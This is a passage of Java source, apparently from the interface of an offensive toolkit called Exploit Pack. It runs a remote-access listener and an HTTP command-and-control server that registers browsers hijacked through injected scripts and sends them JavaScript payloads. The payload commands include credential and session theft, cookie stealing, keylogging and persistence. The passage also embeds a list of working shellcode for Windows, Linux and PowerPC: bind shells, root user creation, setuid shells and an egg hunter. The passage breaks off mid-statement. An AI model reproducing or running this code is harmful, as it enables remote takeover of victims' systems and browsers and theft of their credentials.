                            InetAddress inaddr = sockaddr.getAddress();
                            BufferedReader s_in = null;
                            PrintWriter s_out = null;
                            s_out = new PrintWriter(sockRemoteShell.getOutputStream(), true);
                            s_in = new BufferedReader(new InputStreamReader(sockRemoteShell.getInputStream()));
                            s_out.println(inaddr.getHostAddress());

                            boolean ratNew = false;
                            ArrayList ratList = new ArrayList();
                            DefaultMutableTreeNode rootRATcheck = rootRAT.getNextNode();

                            for (int i = 0; i < rootRAT.getChildCount(); i++) {
                                ratList.add(rootRATcheck.getParent().getChildAt(i).toString());
                            }
                            String ratNameRemote = s_in.readLine();

                            if (!ratList.contains(ratNameRemote)) {
                                ratNew = true;
                            }

                            if (ratNew) {
                                DefaultTreeModel modelRATNew = (DefaultTreeModel) jTreeRAT.getModel();
                                DefaultMutableTreeNode rootRATNew = (DefaultMutableTreeNode) modelRATNew.getChild(modelRATNew.getRoot(), 0);
                                rootRATNew.add(new DefaultMutableTreeNode(ratNameRemote));
                                jTreeRAT.expandRow(0);
                                modelRATNew.reload(rootRATNew);

                                File file = new File("exploits/"
                                        + ratNameRemote + ".xml");
                                BufferedWriter output;
                                java.util.Date date = new java.util.Date();
                                output = new BufferedWriter(
                                        new FileWriter(file));
                                output.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                                output.write("<Module><Exploit NameXML=\""
                                        + ratNameRemote
                                        + "\" CodeName=\"RAT\"  Platform=\"rat\" Service=\"RAT\" Type=\"Remote Agent Connection\" RemotePort=\"5678\" LocalPort=\"\" ShellcodeAvailable=\"\" ShellPort=\"5678\" SpecialArgs=\"\"></Exploit>");
                                output.write("<Information Author=\"Juan Sacco\" Date=\""
                                        + new Timestamp(date.getTime())
                                        + "\" Vulnerability=\""
                                        + new Timestamp(date.getTime())
                                        + "\">\nA remote administration tool (a RAT) is a piece of software that allows a remote \"operator\" to control a system as if he has physical access to that system.\nWhile desktop sharing and remote administration have many legal uses, \"RAT\" software is usually associated with criminal or malicious activity.\nMalicious RAT software is typically installed without the victim's knowledge, often as payload of a Trojan horse, and will try to hide its operation\nfrom the victim and from security software. </Information><Targets>Targets vulnerables</Targets></Module>");
                                output.close();
                            }
                            new Thread(new MultiThreadServer(sockRemoteShell, multiServerip, multiServerport)).start();
                        }
                    } catch (IOException ex) {
                        Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            };
            agentServer.start();

            // Start new agent server
            System.out.println("Browser Agent - Server - Started on port 8000");

            Thread xssServer;
            xssServer = new Thread("xssThread") {
                @Override
                public void run() {
                    try {
                        class MyHandler implements HttpHandler {

                            @Override
                            public final void handle(HttpExchange t) throws IOException {
                                // Obtain local time
                                Format formatter;
                                Date date = new Date();
                                formatter = new SimpleDateFormat("HH:mm:ss");
                                LogTime = formatter.format(date);
                                String[] tokens = t.getRequestURI().toString().split("&");
                                xssAgent.setId(tokens[1]);
                                if ("".equals(tokens[2])) {
                                    xssAgent.setHost("Localhost");
                                } else {
                                    xssAgent.setHost(tokens[2]);
                                }
                                if (!"".equals(tokens[5]) && !"executed".equals(tokens[5])) {
                                    jTextAreaShellcode.append("[" + LogTime + "] Response from " + xssAgent.getHost() + "-" + xssAgent.getId() + ": " + tokens[5].replace("%20", " ") + "\n");
                                    int len = jTextAreaShellcode.getDocument().getLength();
                                    jTextAreaShellcode.setCaretPosition(len);
                                }

                                xssAgent.setBrowser(tokens[3]);
                                xssAgent.setOs(tokens[4]);
                                xssAgent.setData(tokens[5]);
                                xssAgent.setTimes(tokens[6]);
                                xssAgent.setUsername(tokens[7]);
                                xssAgent.setremoteIP(tokens[8]);
                                boolean ratNew = false;
                                ArrayList ratList = new ArrayList();
                                DefaultMutableTreeNode rootRATcheck = rootRAT.getNextNode();
                                for (int i = 0;
                                        i < rootRAT.getChildCount();
                                        i++) {
                                    ratList.add(rootRATcheck.getParent().getChildAt(i).toString());
                                }

                                if (!ratList.contains(xssAgent.getHost() + "-" + xssAgent.getId())) {
                                    ratNew = true;
                                    try {
                                        AudioInputStream s = null;
                                        AudioFormat f;
                                        DataLine.Info i;
                                        File inputFile = new File("data/newconnectiontorat.wav");
                                        Clip c;
                                        s = AudioSystem.getAudioInputStream(inputFile);
                                        f = s.getFormat();
                                        i = new DataLine.Info(Clip.class, f);
                                        c = (Clip) AudioSystem.getLine(i);
                                        c.open(s);
                                        c.loop(1);

                                    } catch (UnsupportedAudioFileException | LineUnavailableException ex) {
                                        Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
                                    }
                                }
                                if (ratNew) {
                                    DefaultTreeModel modelRATNew = (DefaultTreeModel) jTreeRAT.getModel();
                                    DefaultMutableTreeNode rootRATNew = (DefaultMutableTreeNode) modelRATNew.getChild(modelRATNew.getRoot(), 0);
                                    rootRATNew.add(new DefaultMutableTreeNode(xssAgent.getHost() + "-" + xssAgent.getId()));
                                    jTreeRAT.expandRow(0);
                                    modelRATNew.reload(rootRATNew);
                                    File file = new File("exploits/"
                                            + xssAgent.getHost() + "-" + xssAgent.getId() + ".xml");
                                    BufferedWriter output;
                                    output = new BufferedWriter(
                                            new FileWriter(file));
                                    output.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                                    output.write("<Module><Exploit NameXML=\""
                                            + xssAgent.getId()
                                            + "\" CodeName=\"" + xssAgent.getHost() + "-" + xssAgent.getId() + ".js" + "\"  Platform=\"xss\" Service=\"RAT\" Type=\"Browser Agent Connection\" RemotePort=\"" + xssAgent.getremoteIP() + "\" LocalPort=\"\" ShellcodeAvailable=\"\" ShellPort=\"" + xssAgent.getBrowser() + "\" SpecialArgs=\"" + xssAgent.getOs() + "\"></Exploit>");
                                    output.write("<Information Author=\"Exploit Pack\" Date=\""
                                            + new Timestamp(date.getTime())
                                            + "\" Vulnerability=\""
                                            + new Timestamp(date.getTime())
                                            + "\">\nA Remote Browser's Agent ( XSS ) is a piece of software that allows a remote \"operator\" to control a browser as if he has physical access to that system.\nWhile desktop sharing and remote administration have many legal uses, \"XSS\" software is usually associated with criminal or malicious activity.\nMalicious XSS agent software is typically injected without the victim's knowledge, often as payload on a website, and will try to hide its operation\nfrom the victim and from security software. </Information><Targets>Targets vulnerables</Targets></Module>");
                                    output.close();

                                    File fileCode = new File("exploits/code/"
                                            + xssAgent.getHost() + "-" + xssAgent.getId() + ".js");
                                    BufferedWriter outputCode;
                                    outputCode = new BufferedWriter(
                                            new FileWriter(fileCode));
                                    outputCode.write("// This is your JS payload that will be sent to the Browser Agent" + "\n");
                                    outputCode.write("// Useful commands available in the built-in Browser Agent:" + "\n");
                                    outputCode.write("// ------------------------------------------------------------" + "\n");
                                    outputCode.write("// Commands list for the agent:" + "\n");
                                    outputCode.write("// showAlert(message) - To display a message" + "\n");
                                    outputCode.write("// Dialog(message) - To display a Dialog and receive the answer" + "\n");
                                    outputCode.write("// GetCredentials(credentials) - Collect user's credentials" + "\n");
                                    outputCode.write("// GetSession() - Get user's sessions" + "\n");
                                    outputCode.write("// Freeze() - Infinite loop the remote browser" + "\n");
                                    outputCode.write("// PersistAggresive() - Persist the session on the remote browser" + "\n");
                                    outputCode.write("// redirectSite(url) - Redirect the user to the desired URL" + "\n");
                                    outputCode.write("// execJS(code) - Execute your JS on inside a script tag" + "\n");
                                    outputCode.write("// monster() - Call the Cookie monster on the user's browser" + "\n");
                                    outputCode.write("// tabKiller() - Kill the current tab ( Firefox, Chrome )" + "\n");
                                    outputCode.write("// PersistOnClick() - Persist the agent on an OnClick event" + "\n");
                                    outputCode.write("// jokeImages() - Make spin the images of the open pages" + "\n");
                                    outputCode.write("// protectMySite() - Activate the keylogging function and block XSS and SQLi attempts" + "\n");
                                    outputCode.write("// xssProtect() - Activate the XSS client-side protection on the desired browser " + "\n");
                                    outputCode.write("// sqlProtect() - Activate the SQLi client-side protection on the desired browser " + "\n");
                                    outputCode.write("// banIP(ip) - Add the desired IP/Hostname to your blacklist " + "\n");
                                    outputCode.write("// addIPtoBanList() - Add the current IP/Hostname to your blacklist " + "\n");
                                    outputCode.write("// antiCopyPaste() - Prevent the remote user of copy/paste the page " + "\n");
                                    outputCode.write("// noCTRL() - Deactivate the CTRL functions " + "\n");
                                    outputCode.write("// scanEngine(host) - Launch a discover scan from the remote browser " + "\n");
                                    outputCode.write("// portScanner(host) - Launch a portscan from the remote browser to a specific host " + "\n");
                                    outputCode.write("// launchWindow(id) - Create a new windows with the specified height, width " + "\n");
                                    outputCode.write("// exploitThis(exploitName) - Execute an exploit ( Browser ) from the agent " + "\n");
                                    outputCode.write("// scanForThreats() - Discover remote plugins and useful information for testing " + "\n");
                                    outputCode.write("// Plugins() - Obtains a list of running plugins on the remote host " + "\n");
                                    outputCode.write("// ScreenSize() - Calculate and retrieve current Window size " + "\n");
                                    outputCode.write("// ------------------------------" + "\n");
                                    outputCode.write("// Your commands or code goes here: \n// Example: alert(1);" + "\n");
                                    outputCode.write("// ------------------------------------------------------------" + "\n");
                                    outputCode.close();
                                } else if (!"".equals(tokens[5]) && "executed".equals(tokens[5])) {
                                    File fileCode = new File("exploits/code/"
                                            + xssAgent.getHost() + "-" + xssAgent.getId() + ".js");
                                    BufferedWriter outputCode;
                                    outputCode = new BufferedWriter(
                                            new FileWriter(fileCode));
                                    outputCode.write("// This is your JS payload that will be sent to the Browser Agent" + "\n");
                                    outputCode.write("// Useful commands available in the built-in Browser Agent:" + "\n");
                                    outputCode.write("// ------------------------------------------------------------" + "\n");
                                    outputCode.write("// Commands list for the agent:" + "\n");
                                    outputCode.write("// showAlert(message) - To display a message" + "\n");
                                    outputCode.write("// Dialog(message) - To display a Dialog and receive the answer" + "\n");
                                    outputCode.write("// GetCredentials(credentials) - Collect user's credentials" + "\n");
                                    outputCode.write("// GetSession() - Get user's sessions" + "\n");
                                    outputCode.write("// Freeze() - Infinite loop the remote browser" + "\n");
                                    outputCode.write("// PersistAggresive() - Persist the session on the remote browser" + "\n");
                                    outputCode.write("// redirectSite(url) - Redirect the user to the desired URL" + "\n");
                                    outputCode.write("// execJS(code) - Execute your JS on inside a script tag" + "\n");
                                    outputCode.write("// monster() - Call the Cookie monster on the user's browser" + "\n");
                                    outputCode.write("// tabKiller() - Kill the current tab ( Firefox, Chrome )" + "\n");
                                    outputCode.write("// PersistOnClick() - Persist the agent on an OnClick event" + "\n");
                                    outputCode.write("// jokeImages() - Make spin the images of the open pages" + "\n");
                                    outputCode.write("// protectMySite() - Activate the keylogging function and block XSS and SQLi attempts" + "\n");
                                    outputCode.write("// xssProtect() - Activate the XSS client-side protection on the desired browser " + "\n");
                                    outputCode.write("// sqlProtect() - Activate the SQLi client-side protection on the desired browser " + "\n");
                                    outputCode.write("// banIP(ip) - Add the desired IP/Hostname to your blacklist " + "\n");
                                    outputCode.write("// addIPtoBanList() - Add the current IP/Hostname to your blacklist " + "\n");
                                    outputCode.write("// antiCopyPaste() - Prevent the remote user of copy/paste the page " + "\n");
                                    outputCode.write("// noCTRL() - Deactivate the CTRL functions " + "\n");
                                    outputCode.write("// scanEngine(host) - Launch a discover scan from the remote browser " + "\n");
                                    outputCode.write("// portScanner(host) - Launch a portscan from the remote browser to a specific host " + "\n");
                                    outputCode.write("// launchWindow(id) - Create a new windows with the specified height, width " + "\n");
                                    outputCode.write("// exploitThis(exploitName) - Execute an exploit ( Browser ) from the agent " + "\n");
                                    outputCode.write("// scanForThreats() - Discover remote plugins and useful information for testing " + "\n");
                                    outputCode.write("// Plugins() - Obtains a list of running plugins on the remote host " + "\n");
                                    outputCode.write("// ScreenSize() - Calculate and retrieve current Window size " + "\n");
                                    outputCode.write("// ------------------------------" + "\n");
                                    outputCode.write("// Your commands or code goes here: \n// Example: alert(1);" + "\n");
                                    outputCode.write("// ------------------------------------------------------------" + "\n");
                                    outputCode.close();
                                }

                                String content = new String(Files.readAllBytes(Paths.get("exploits/code/" + xssAgent.getHost() + "-" + xssAgent.getId() + ".js")));
                                t.sendResponseHeaders(200, content.length());
                                try (OutputStream os = t.getResponseBody()) {
                                    os.write(content.getBytes());
                                }
                            }
                        }
                        // todo copy this and serve an example file on 8080 or so and allow to choose the port
                        HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
                        server.setExecutor(null);
                        server.start();
                        server.createContext("/agent", new MyHandler());

                    } catch (IOException ex) {
                        Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
                    } catch (Exception ex) {
                        Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            };

            xssServer.start();

            // Add shellcodes
            jTextAreaShellcodeList.append(
                    "\n\nWindows XP/7/8 - Adds user 'x' with password 'y'\n shell = \"\\x31\\xc9\\x83\\xe9\\xce\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xe8\\x5e\\x22\\xde\\x83\\xeb\\xfc\\xe2\\xf4\\x14\\xb6\\x66\\xde\\xe8\\x5e\\xa9\\x9b\\xd4\\xd5\\x5e\\xdb\\x90\\x5f\\xcd\\x55\\xa7\\x46\\xa9\\x81\\xc8\\x5f\\xc9\\x97\\x63\\x6a\\xa9\\xdf\\x06\\x6f\\xe2\\x47\\x44\\xda\\xe2\\xaa\\xef\\x9f\\xe8\\xd3\\xe9\\x9c\\xc9\\x2a\\xd3\\x0a\\x06\\xda\\x9d\\xbb\\xa9\\x81\\xcc\\x5f\\xc9\\xb8\\x63\\x52\\x69\\x55\\xb7\\x42\\x23\\x35\\x63\\x42\\xa9\\xdf\\x03\\xd7\\x7e\\xfa\\xec\\x9d\\x13\\x1e\\x8c\\xd5\\x62\\xee\\x6d\\x9e\\x5a\\xd2\\x63\\x1e\\x2e\\x55\\x98\\x42\\x8f\\x55\\x80\\x56\\xc9\\xd7\\x63\\xde\\x92\\xde\\xe8\\x5e\\xa9\\xb6\\xd4\\x01\\x13\\x28\\x88\\x08\\xab\\x26\\x6b\\x9e\\x59\\x8e\\x80\\xae\\xa8\\xda\\xb7\\x36\\xba\\x20\\x62\\x50\\x75\\x21\\x0f\\x3d\\x4f\\xba\\xc6\\x3b\\x5a\\xbb\\xc8\\x71\\x41\\xfe\\x86\\x3b\\x56\\xfe\\x9d\\x2d\\x47\\xac\\xc8\\x27\\x02\\xa6\\xc8\\x71\\x63\\x9a\\xac\\x7e\\x04\\xf8\\xc8\\x30\\x47\\xaa\\xc8\\x32\\x4d\\xbd\\x89\\x32\\x45\\xac\\x87\\x2b\\x52\\xfe\\xa9\\x3a\\x4f\\xb7\\x86\\x37\\x51\\xaa\\x9a\\x3f\\x56\\xb1\\x9a\\x2d\\x02\\xa7\\xc8\\x71\\x63\\x9a\\xac\\x5e\\x22\\xde\"\n\n");
            jTextAreaShellcodeList.append(
                    "Binds a shell terminal at port 4444\n shell = \"\\x33\\xc9\\x83\\xe9\\xb8\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x7a\\xba\\xcb\\x13\\x83\\xeb\\xfc\\xe2\\xf4\\x86\\xd0\\x20\\x5e\\x92\\x43\\x34\\xec\\x85\\xda\\x40\\x7f\\x5e\\x9e\\x40\\x56\\x46\\x31\\xb7\\x16\\x02\\xbb\\x24\\x98\\x35\\xa2\\x40\\x4c\\x5a\\xbb\\x20\\x5a\\xf1\\x8e\\x40\\x12\\x94\\x8b\\x0b\\x8a\\xd6\\x3e\\x0b\\x67\\x7d\\x7b\\x01\\x1e\\x7b\\x78\\x20\\xe7\\x41\\xee\\xef\\x3b\\x0f\\x5f\\x40\\x4c\\x5e\\xbb\\x20\\x75\\xf1\\xb6\\x80\\x98\\x25\\xa6\\xca\\xf8\\x79\\x96\\x40\\x9a\\x16\\x9e\\xd7\\x72\\xb9\\x8b\\x10\\x77\\xf1\\xf9\\xfb\\x98\\x3a\\xb6\\x40\\x63\\x66\\x17\\x40\\x53\\x72\\xe4\\xa3\\x9d\\x34\\xb4\\x27\\x43\\x85\\x6c\\xad\\x40\\x1c\\xd2\\xf8\\x21\\x12\\xcd\\xb8\\x21\\x25\\xee\\x34\\xc3\\x12\\x71\\x26\\xef\\x41\\xea\\x34\\xc5\\x25\\x33\\x2e\\x75\\xfb\\x57\\xc3\\x11\\x2f\\xd0\\xc9\\xec\\xaa\\xd2\\x12\\x1a\\x8f\\x17\\x9c\\xec\\xac\\xe9\\x98\\x40\\x29\\xf9\\x98\\x50\\x29\\x45\\x1b\\x7b\\x7a\\xba\\xcb\\x13\\x1c\\xd2\\xda\\x4f\\x1c\\xe9\\x42\\xf2\\xef\\xd2\\x27\\xea\\xd0\\xda\\x9c\\xec\\xac\\xd0\\xdb\\x42\\x2f\\x45\\x1b\\x75\\x10\\xde\\xad\\x7b\\x19\\xd7\\xa1\\x43\\x23\\x93\\x07\\x9a\\x9d\\xd0\\x8f\\x9a\\x98\\x8b\\x0b\\xe0\\xd0\\x2f\\x42\\xee\\x84\\xf8\\xe6\\xed\\x38\\x96\\x46\\x69\\x42\\x11\\x60\\xb8\\x12\\xc8\\x35\\xa0\\x6c\\x45\\xbe\\x3b\\x85\\x6c\\x90\\x44\\x28\\xeb\\x9a\\x42\\x10\\xbb\\x9a\\x42\\x2f\\xeb\\x34\\xc3\\x12\\x17\\x12\\x16\\xb4\\xe9\\x34\\xc5\\x10\\x45\\x34\\x24\\x85\\x6a\\xa3\\xf4\\x03\\x7c\\xb2\\xec\\x0f\\xbe\\x34\\xc5\\x85\\xcd\\x37\\xec\\xaa\\xd2\\x3b\\x99\\x7e\\xe5\\x98\\xec\\xac\\x45\\x1b\\x13\"\n\n");
            jTextAreaShellcodeList.append(
                    "Runs cmd.exe and ExitThread\n shell = \"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xa8\\x2a\\x6e\\x63\\x83\\xeb\\xfc\\xe2\\xf4\\x54\\xc2\\x2a\\x63\\xa8\\x2a\\xe5\\x26\\x94\\xa1\\x12\\x66\\xd0\\x2b\\x81\\xe8\\xe7\\x32\\xe5\\x3c\\x88\\x2b\\x85\\x2a\\x23\\x1e\\xe5\\x62\\x46\\x1b\\xae\\xfa\\x04\\xae\\xae\\x17\\xaf\\xeb\\xa4\\x6e\\xa9\\xe8\\x85\\x97\\x93\\x7e\\x4a\\x67\\xdd\\xcf\\xe5\\x3c\\x8c\\x2b\\x85\\x05\\x23\\x26\\x25\\xe8\\xf7\\x36\\x6f\\x88\\x23\\x36\\xe5\\x62\\x43\\xa3\\x32\\x47\\xac\\xe9\\x5f\\xa3\\xcc\\xa1\\x2e\\x53\\x2d\\xea\\x16\\x6f\\x23\\x6a\\x62\\xe8\\xd8\\x36\\xc3\\xe8\\xc0\\x22\\x85\\x6a\\x23\\xaa\\xde\\x63\\xa8\\x2a\\xe5\\x0b\\x94\\x75\\x5f\\x95\\xc8\\x7c\\xe7\\x9b\\x2b\\xea\\x15\\x33\\xc0\\xc5\\xa0\\x83\\xc8\\x42\\xf6\\x9d\\x22\\x24\\x39\\x9c\\x4f\\x49\\x03\\x07\\x86\\x4f\\x16\\x06\\xa8\\x2a\\x6e\\x63\"\n\n");
            jTextAreaShellcodeList.append(
                    "EggHunter for Windows Platforms\n EggHunter = \"\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\\x02\\x58\\xcd\\x2e\\x3c\\x05\\x5a\\x74\\xef\\xb8\\\" # Egg Hunter\n");
            jTextAreaShellcodeList.append(
                    " EggHunter += \"\\x54\\x30\\x30\\x57\\\" # Egg - W00T\n");
            jTextAreaShellcodeList.append(
                    " EggHunter += \"\\x8b\\xfa\\xaf\\x75\\xea\\xaf\\x75\\xe7\\xff\\xe7\\\" # Egg\n\n");
            jTextAreaShellcodeList.append(
                    "As a proof of concept shows a MessageBox\n shell = \"\\xeb\\x10\\x58\\x31\\xc9\\x66\\x81\\xe9\\x22\\xff\\x80\\x30\\x1d\\x40\\xe2\\xfa\\xeb\\x05\\xe8\\xeb\\xff\\xff\\xff\\xf4\\xd1\\x1d\\x1d\\x1d\\x42\\xf5\\x4b\\x1d\\x1d\\x1d\\x94\\xde\\x4d\\x75\\x93\\x53\\x13\\xf1\\xf5\\x7d\\x1d\\x1d\\x1d\\x2c\\xd4\\x7b\\xa4\\x72\\x73\\x4c\\x75\\x68\\x6f\\x71\\x70\\x49\\xe2\\xcd\\x4d\\x75\\x2b\\x07\\x32\\x6d\\xf5\\x5b\\x1d\\x1d\\x1d\\x2c\\xd4\\x4c\\x4c\\x90\\x2a\\x4b\\x90\\x6a\\x15\\x4b\\x4c\\xe2\\xcd\\x4e\\x75\\x85\\xe3\\x97\\x13\\xf5\\x30\\x1d\\x1d\\x1d\\x4c\\x4a\\xe2\\xcd\\x2c\\xd4\\x54\\xff\\xe3\\x4e\\x75\\x63\\xc5\\xff\\x6e\\xf5\\x04\\x1d\\x1d\\x1d\\xe2\\xcd\\x48\\x4b\\x79\\xbc\\x2d\\x1d\\x1d\\x1d\\x96\\x5d\\x11\\x96\\x6d\\x01\\xb0\\x96\\x75\\x15\\x94\\xf5\\x43\\x40\\xde\\x4e\\x48\\x4b\\x4a\\x96\\x71\\x39\\x05\\x96\\x58\\x21\\x96\\x49\\x18\\x65\\x1c\\xf7\\x96\\x57\\x05\\x96\\x47\\x3d\\x1c\\xf6\\xfe\\x28\\x54\\x96\\x29\\x96\\x1c\\xf3\\x2c\\xe2\\xe1\\x2c\\xdd\\xb1\\x25\\xfd\\x69\\x1a\\xdc\\xd2\\x10\\x1c\\xda\\xf6\\xef\\x26\\x61\\x39\\x09\\x68\\xfc\\x96\\x47\\x39\\x1c\\xf6\\x7b\\x96\\x11\\x56\\x96\\x47\\x01\\x1c\\xf6\\x96\\x19\\x96\\x1c\\xf5\\xf4\\x1f\\x1d\\x1d\\x1d\\x2c\\xdd\\x94\\xf7\\x42\\x43\\x40\\x46\\xde\\xf5\\x32\\xe2\\xe2\\xe2\\x70\\x75\\x75\\x33\\x78\\x65\\x78\\x1d\"\n\n");
            jTextAreaShellcodeList.append(
                    "Execute x86.linux.bind and bind port 4444\n shell = \"\\x33\\xc9\\x83\\xe9\\xeb\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x81\\x9c\\x95\\xe9\\x83\\xeb\\xfc\\xe2\\xf4\\xb0\\x47\\xc6\\xaa\\xd2\\xf6\\x97\\x83\\xe7\\xc4\\x0c\\x60\\x60\\x51\\x15\\x7f\\xc2\\xce\\xf3\\x81\\x90\\xc0\\xf3\\xba\\x08\\x7d\\xff\\x8f\\xd9\\xcc\\xc4\\xbf\\x08\\x7d\\x58\\x69\\x31\\xfa\\x44\\x0a\\x4c\\x1c\\xc7\\xbb\\xd7\\xdf\\x1c\\x08\\x31\\xfa\\x58\\x69\\x12\\xf6\\x97\\xb0\\x31\\xa3\\x58\\x69\\xc8\\xe5\\x6c\\x59\\x8a\\xce\\xfd\\xc6\\xae\\xef\\xfd\\x81\\xae\\xfe\\xfc\\x87\\x08\\x7f\\xc7\\xba\\x08\\x7d\\x58\\x69\\x00\"\n");
            jTextAreaShellcodeList.append(
                    "Adds user 'x' with password 'y'\n shell = \"\\x31\\xc9\\x89\\xcb\\x6a\\x46\\x58\\xcd\\x80\\x6a\\x05\\x58\\x31\\xc9\\x51\\x68\\x73\\x73\\x77\\x64\\x68\\x2f\\x2f\\x70\\x61\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x41\\xb5\\x04\\xcd\\x80\\x93\\xe8\\x1f\\x00\\x00\\x00\\x78\\x3a\\x41\\x7a\\x37\\x44\\x71\\x55\\x7a\\x47\\x6a\\x77\\x69\\x4d\\x77\\x3a\\x30\\x3a\\x30\\x3a\\x3a\\x2f\\x3a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x59\\x8b\\x51\\xfc\\x6a\\x04\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\"\n\n");
            jTextAreaShellcodeList.append(
                    "Execute x86.linux.binsh\n shell = \"\\x31\\xc0\\x50\\x68\\x30\\x30\\x84\\x79\\x68\\x30\\x73\\x7a\\x7f\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\"\n\n");
            jTextAreaShellcodeList.append(
                    "Binds a shell at port 4444\n shell = \"\\x31\\xc9\\x83\\xe9\\xec\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xce\\xd3\\x61\\x53\\x83\\xeb\\xfc\\xe2\\xf4\\xa4\\xb2\\x39\\xca\\x9c\\xbb\\x71\\x51\\xdf\\x8f\\xe8\\xb2\\x9c\\x91\\x33\\x11\\x9c\\xb9\\x71\\x9e\\x4e\\x4a\\xf2\\x02\\x9d\\x81\\x0b\\x3b\\x96\\x1e\\xe1\\xe3\\xa4\\x1e\\xe1\\x01\\x9d\\x81\\xd1\\x4d\\x03\\x53\\xf6\\x39\\xcc\\x8a\\x0b\\x09\\x96\\x82\\x36\\x02\\x03\\x53\\x28\\x2a\\x3b\\x83\\x09\\x7c\\xe1\\xa0\\x09\\x3b\\xe1\\xb1\\x08\\x3d\\x47\\x30\\x31\\x07\\x9d\\x80\\xd1\\x68\\x03\\x53\\x61\\x53\"\n\n");
            jTextAreaShellcodeList.append(
                    "Setuid(0) and runs /bin/sh\n shell = \"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x80\\x31\\xc0\\x50\\x68\\x30\\x30\\x84\\x79\\x79\\x30\\x73\\x7a\\x7f\\x89\\xe3\\x50\\x54\\x53\\x50\\xb0\\x3b\\xcd\\x80\"\n\n");
            jTextAreaShellcodeList.append(
                    "Binds a shell at port 4444\n shell = \"\\x38\\x60\\x00\\x02\\x38\\x80\\x00\\x01\\x38\\xa0\\x00\\x06\\x38\\x00\\x00\\x61\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x48\\x00\\x00\\x0d\\x00\\x02\\x11\\x5c\\x00\\x00\\x00\\x00\\x7c\\x88\\x02\\xa6\\x38\\xa0\\x00\\x10\\x38\\x00\\x00\\x68\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x38\\x00\\x00\\x6a\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7f\\xc3\\xf3\\x78\\x38\\x00\\x00\\x1e\\x38\\x80\\x00\\x10\\x90\\x81\\xff\\xe8\\x38\\xa1\\xff\\xe8\\x38\\x81\\xff\\xf0\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x38\\xa0\\x00\\x02\\x38\\x00\\x00\\x5a\\x7f\\xc3\\xf3\\x78\\x7c\\xa4\\x2b\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x38\\xa5\\xff\\xff\\x2c\\x05\\xff\\xff\\x40\\x82\\xff\\xe5\\x38\\x00\\x00\\x42\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7c\\x68\\x02\\xa6\\x38\\x63\\x00\\x28\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x00\\x00\\x3b\\x7c\\x00\\x04\\xac\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7f\\xe0\\x00\\x08\\x2f\\x62\\x69\\x6e\\x2f\\x63\\x73\\x68\\x00\\x00\\x00\\x00\"\n\n");
            jTextAreaShellcodeList.append(
                    "Adds a root user named 'r00t' with no pass\n shell = \"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x48\\x02\\xa6\\x3b\\xea\\x01\\x70\\x39\\x60\\x01\\x70\\x39\\x1f\\xff\\x0d\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xff\\x04\\x38\\x80\\x02\\x01\\x38\\xa0\\xff\\xff\\x38\\x0b\\xfe\\x95\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x9f\\xff\\x0e\\x38\\xab\\xfe\\xe5\\x38\\x0b\\xfe\\x94\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0b\\xfe\\x96\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\xa5\\x2a\\x79\\x38\\x7f\\xff\\x04\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x0b\\xfe\\xcb\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0b\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x74\\x6d\\x70\\x2f\\x78\\x2e\\x73\\x68\\x58\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x2f\\x62\\x69\\x6e\\x2f\\x65\\x63\\x68\\x6f\\x20\\x27\\x72\\x30\\x30\\x74\\x3a\\x3a\\x39\\x39\\x39\\x3a\\x38\\x30\\x3a\\x3a\\x30\\x3a\\x30\\x3a\\x72\\x30\\x30\\x74\\x3a\\x2f\\x3a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x27\\x20\\x7c\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x6e\\x69\\x6c\\x6f\\x61\\x64\\x20\\x2d\\x6d\\x20\\x70\\x61\\x73\\x73\\x77\\x64\\x20\\x2e\\x0a\"\n\n");
            jTextAreaShellcodeList.append(
